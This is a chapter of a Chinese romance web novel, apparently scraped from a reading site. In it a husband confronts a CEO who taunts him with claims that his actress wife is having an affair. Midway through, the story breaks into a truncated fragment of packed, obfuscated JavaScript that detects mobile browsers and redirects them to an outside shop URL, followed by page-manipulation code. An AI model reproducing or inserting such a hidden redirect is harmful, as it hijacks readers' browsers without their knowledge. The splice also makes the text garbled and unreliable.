他哪里是懒得查,他是不敢细查。 毕竟现有的证据已经足够扎眼,他怕自己真查下去,会得到一个自己不愿接受的结果。 顾缦卿撅着嘴,一个念头突然在脑海中闪过:“那我们要不要打个赌?” 他漫不经心问了句:“赌什么?” “如果你老婆没有出轨,你就必须跪在她面前跟她忏悔一个小时,并且……承包我一年的零食!” 贺敬琛饶有兴致地问她:“那如果她就是出轨了,你要给我什么?” “那……”顾缦卿漂亮的杏眼转了转,用余光偷偷瞥了眼不受任何打扰还在安心工作的陈从经,说,“我把我哥新买的那辆跑车赔给你。” 贺敬琛抬起头,和陈从经的目光对视上,旋即起身应下了这个赌约:“好,我跟你赌。” 他双手撑在陈从经的办公桌上,仿佛那辆车已是他的囊中之物:“替我好好保养那辆车。” 言毕,放下那颗被他捏得不成样子的西梅大步离开了办公室。 待人走后,陈从经望着乖巧回到自己身边的顾缦卿,用钢笔笔帽点了点桌上的合同,他在刚才的那场“辩论”中没有发言,却把每一个字都听了进去。 “你什么时候变成一个赌徒了?” “唔。”她不以为然地抬起头,“放心啦,绾绾是绝对不会出轨的。” “那万一她就是出轨了呢?” 闻言,顾缦卿忍不住皱眉:“为什么连你也要怀疑人家出轨?” 她双手撑着脸,小声嘟囔:“如果绾绾真的出轨了,那你只能把跑车给他了。” 陈从经:“……” 他这是养了个什么妹妹啊。 13. 第 13 章 祝绾栀这次在外地一呆就是将近一个月,两人的关系也从拍摄广告那天变得格外微妙。 霆献的新系列香水明天就要在芙宜举办发布会,贺敬琛在经历了一个月的失眠纠结后,还是决定拿着已有的证据去找祝绾栀好好谈谈。 毕竟,他们的日子想要继续安稳下去,这件事情就必须有个结果。 晚上九点,贺敬琛独自开车来到祝绾栀下榻的酒店,只是他刚把车钥匙丢给门童,却在酒店大门附近发现了一辆熟悉的劳斯莱斯和两道熟悉的倩影。 霍霆之靠在车身边,对面站着的,则是他疑似出轨的妻子。 两人不知说了些什么,霍霆之突然低下头,吻住了女人。 两人就这样在车旁不知天地为何物地吻了起来。 而这刺眼的一幕,则尽数被站在不远处的贺敬琛尽收眼底。 他的妻子……真的出轨了。 男人双手握成拳,胸腔开始不受控制地剧烈起伏着。 此时此刻,他好想上前,把愤怒化作拳头挥向不远处的奸夫脸上,甚至戳破祝绾栀不忠的事实和单纯的假象。 可当他看到两人难舍难分地分开,祝绾栀即将朝这边走来时,他却下意识地选择了逃避。 明明事实已经如此赤裸裸地摆在自己面前,可他们到底在一起6年,6年根深蒂固的感情让他没有办法、也做不到第一时间就跟她划清界限。 比起愤怒,更先抵达心底的情绪是心痛。 他看到霍霆之宠溺地摸了摸她的脑袋,直到祝绾栀披着他的风衣进了酒店大堂,那双紧握的拳头终于缓缓松开。 霍霆之一直目送着女人离开,他回过身,手刚放到车把上,映入眼前的,却是贺敬琛那张面无表情的脸。 “霍先生,”贺敬琛嘴角扯起一抹皮笑肉不笑的弧度,目光冷冷地注视着这个勾引自己妻子的男人,“我们谈谈。” - 半个小时后,某高级茶社内。 半明半暗的灯光下,贺敬琛目光犀利,开门见山道:“你跟我太太到底是什么关系?我收到的那些匿名照片,是你寄来的吧?” 比起他的质问,霍霆之反而显得悠然自得,仿佛对面坐着的只是自己的合作伙伴,甚至很有心情地给他也倒了一杯茶。 他端起釉色温润如玉的龙泉青瓷,轻呷了一口,这才缓缓道:“贺先生,既然你什么都知道,何必要来问我呢?” 言毕,有恃无恐地对上了他的目光。 贺敬琛深吸了一口气,努力让自己保持理智,继续问:“所以你们在一起多久了?几个月……还是一年?” 霍霆之看着他,嘴角浮起一丝若有若无的笑,那笑容很淡,淡到几乎看不出是在笑,却莫名让人觉得刺眼。 “贺先生,”他说,“我想你误会了,我跟你太太只是合作伙伴的关系,从来没有在一起过。” “从来没有在一起过?”贺敬琛极力压制着心底快要喷发出来的怒火,“那刚才在酒店门口的那一幕是什么?嗯?” “原来贺先生看到了。”他倏地轻笑起来,语气中满是嘲讽,随即慢悠悠地放下茶杯,镜片后的神情却显得晦暗不明,“不过我跟你太太目前的确没有在一起,我是喜欢她,只是她还舍不得跟你离婚。” 说到这里,霍霆之有意停顿了一下,仿佛想起了什么继续说:“准确来说,是舍不得可以从你身上得到的资源,她对你这个人,其实早就厌倦了。” 他身子微微向后一仰,语气漫不经心:“我跟她说过很多次,离开你,她想要的一切我都可以给她。可是她说你很爱她,她怕你接受不了跟她离婚这件事,也怕事后你会联合你姐姐封杀她。” “事实证明她的顾虑的确是对的,否则,你怎么会在看到那些照片以后还愿意跟她维持相敬如宾那么长时间。”他每个字都像刀一样,既锋利又讽刺,精准地往他心口上扎,“贺先生,你对你太太的爱,真的很大度,大度到她在外面偷吃,你也会装作没看见。” 贺敬琛握紧拳头,极力压制住心底即将火山喷发般的怒火:“你知不知道你这行为是在勾引有夫之妇?堂堂一个公司CEO,做出这种事情,你难道不担心会影响到公司的形象吗?” “你以为我愿意当情夫吗?”他目光一凛,突然破罐子破摔道,“我在她最难的时候顶着所有压力把她签下来,可是她呢,一边吊着我,一边又舍不得跟你离婚,所以我才会寄照片给你,故意当着你朋友的面在酒店消防通道跟她接吻,包括初四那天爆料的狗仔也是我安排的。可是我没有想到,我都做到这个地步了,你还是宁可把这顶绿帽子戴紧也不跟她离婚。” “你少诽谤她,”贺敬琛的声音发紧,“我太太除夕前一天分明在郊区拍戏,怎么可能跟你出现在酒店里?” “诽谤?”他目光意味深长地从他脸上扫过,“贺先生,你确定你妻子的每一句话都是值得信任的吗?她那天到底是几点收工的,你不妨去查查车祸那天的监控,看看到底是我在诽谤,还是你的妻子在隐瞒什么。” 这一刻,贺敬琛懵了,因为他说的这些,跟自己查到的证据一模一样。 所以……是她提前打点好了剧组的工作人员陪她撒谎? 贺敬琛喉结微微滚动着,大脑的思绪却开始乱飞,他继续问:“既然你那么爱她,那么想要得到他,为什么要让狗仔发那些绯闻?你就不怕毁了她吗?” “我只是想让贺先生知道部分真相,何况……”男人言语轻蔑,轻轻推了推鼻梁上的眼镜,“你不是已经替她善后了?” 他重新端起茶杯,在鼻尖上闻了闻悠悠升起的茶香:“其实,我本来还想过段时间主动找你,没想到今天你倒先找上门来了,挺好的,至少这样,你应该就可以死心跟她离婚,我也能抱得美人归,一举两得。” “你别妄想了。”贺敬琛胸口剧烈起伏着,随即一拍桌子,态度坚决道,“我妻子是什么人我心里清楚,她一直都很单纯,是你在设局勾引她,我不可能因为你三言两语的挑拨离间就跟她离婚,也绝对不会让她跟你这种人在一起。” 闻言,霍霆之促起狭长的眼眸,眉心微蹙,看向他的目光竟带着那么一丝丝同情:“挑拨离间?贺敬琛,刚才在酒店门口你都已经亲眼戳破了,现在竟然还帮她说话,你要不要这么舔?” “你不会真以为祝绾栀有多单纯吧?其实从一开始你们会在一起都是她亲手筹谋的。她早就知道你是富二代,所以故意在你面前扮柔弱,没想到你人傻钱多,还真吃她这一套。” 他说到这里的时候,甚至笑了起来,食指似有若无地划过杯口:“你知道她是怎么跟我说的吗?她说当初看到你因为隐瞒身份的事情跟她道歉,她只觉得想笑,没想到有人活了20多年还能这么单纯。你以为祝绾栀很单纯?实际上,她比你想的有野心多了,你根本就不了解她,也难怪她会背着你……跟我在一起。” 贺敬琛听着这些话,整个人都怔住了,他没有想到,祝绾栀会把两人的这些过往用如此戏谑的方式讲述给她的情夫听,只是面上依旧努力维持着冷静和体面。 霍霆之低下头,转动着右手中指上的那枚素圈戒指,悠悠然道:“如果我说了这么多,你还是要当做什么都不知道,我也没办法,反正……你跟不跟她离婚,都不影响我们私下在一起。” “对了,还有件重要的事我忘记说了——”他抬起头,镜片后的目光极具挑衅,“你妻子左胸一寸下的那颗痣,真的很性感。” 听到这句话,贺敬琛瞳孔再也控制不住地骤然收缩,这么私密的事情,连他自己都没有留意过,而他却可以精准地说出位置。 他这话无疑是在提醒他,他跟祝绾栀之间,其实早就越界,什么都做过了。 霍霆之看到了他越握越紧的拳头,突然无所谓地轻哼了一声,眉尾上挑:“我知道你现在肯定很想揍我,没关系,你可以动手,只是……” 两人坐的是半开放式的包间,他看了看四周稀疏的客人,皮笑肉不笑道:“你这一拳头下来,明天微博该怎么报道这件事?贺总可得想清楚。” 贺敬琛手背上有明显暴起的青筋,他喉咙发紧,想要说什么,却一个音节也发不出来。 “动手啊,有气憋在心里多难受,你可以尽情宣泄出来,我绝不躲开。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539351|203484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他继续挑衅他:“怎么?不敢动手了?既然这样,那我就不奉陪了,为了表示我的歉意,今天的这顿茶钱我请了。” 言毕,像个胜利者似的昂首阔步地离开了茶社。 愤怒和理智这两种情绪在大脑里疯狂打架,最后是理智占据了上风,贺敬琛到底还是无力且不甘地松开了紧握的拳头。 只是心里的那股气没有宣泄出来,他只觉得有种烈火焚身般的难受。 以往恩爱的点点滴滴,在今天晚上,此时此刻,通通变成了一触即破的泡沫。 手机在桌面上疯狂震动着,贺敬琛翻开屏幕,是祝绾栀打来的电话。 他呆愣愣地盯着来电显示,目光却开始游离起来。 祝绾栀,你要我现在怎么面对你?你又要拿什么来面对我? - 酒店大床上,祝绾栀听着手机里播报的“当前的电话暂时无人接通”,无奈地翻了个身。 她眼神涣散地盯着天花板,想到下午的时候,贺敬琛说晚上有事要跟她谈,并特意要了酒店的地址。 只是这都十点了,他却还没过来,电话不接,微信也没回。 难道是在加班? 她再次翻了个身,眼皮逐渐开始打架,就在她快要睡着的前一秒,微信终于传来一声清脆的提示音。 祝绾栀猛地清醒起来,只是打开微信,却看见贺敬琛说临时有事不来了的信息。 她整个人顿时像霜打的茄子似的蔫了下来,内心也涌上一股明显的失落。 两人有一个月没见面了,从他下午跟自己要地址的那一刻,祝绾栀就开始期待能够见到他。 只是如今,期待如今却落了空。 祝绾栀深深叹了一口气,最后拉上被子准备睡觉。 反正……后天就是他的生日了,只是晚两天见面而已。 贺敬琛从昨天晚上开始就魂不守舍,这种状态甚至影响到了他的工作。 iPad上正在直播着霆献新系列香水的发布会,贺敬琛目光死死锁定在祝绾栀身上。 他看到她作为代言人被人群簇拥在C位拍照,看到她跟霍霆之一起被记者采访,甚至看到她看向霍霆之那颇有些含情脉脉的眼神时,他脑海里不由自主地再次想起了昨晚霍霆之挑衅的话语:“她对你这个人,其实早就厌倦了。” 所以……你真的对我感到厌倦了吗? 他喃喃问着屏幕里的祝绾栀。 发布会现场,有媒体开始询问霍霆之这只系列香的名字由来是否有什么隐藏的小巧思。 男人对着镜头露出一个浅笑,旋即彬彬有礼地开口阐述起来:“栀子开得晚,却开得最静、最久。取名‘晚栀’,一是香调意境,二是……” 说到这里,他微微顿了两秒,声音发沉,继续说:“有些美好,即便来得晚一点,也依旧值得被认真呈现。能够请到跟这款香水同名的祝小姐代言,确实是巧合,也是天意……” 他这话说得听不出有什么毛病,可落在镜头之外的贺敬琛耳中,这话听起来却像是在暗示,哪怕他在祝绾栀的人生中出场顺序比自己晚,也值得被认真对待。 贺敬琛今天才发现,霍霆之这人,真的很喜欢把话说得模棱两可…… - 发布会结束后已经很晚了,祝绾栀满脸疲惫地坐上保姆车,她今天的造型是一套白色缎面鱼尾礼服,领口被做成盛开的栀子花,只是尺寸偏小,勒得她有些喘不过气,就连高跟鞋的鞋跟也硬得有些磨脚。 她弯下腰,费劲地脱下那双把脚后跟磨到通红的高跟鞋,鞋子脱下的一瞬间,祝绾栀只觉得自己的整双脚都得到了解放:“累死了,到底是谁发明的高跟鞋这种美丽刑具,穿一天难受死了。” 小夏适时递上柔软的拖鞋,并感叹:“辛苦了,不过姐,你今天状态真的超好,我相信明天微博上一定有一堆关于你的神图!” 祝绾栀朝她微微笑了笑,开始在车上闭目养神,并期待着明天贺敬琛的生日。 只是她没有想到,第二天,在微博上迎接她的并不是什么神图,而是一堆她“疑似出轨”的爆料和网友铺天盖地的谩骂。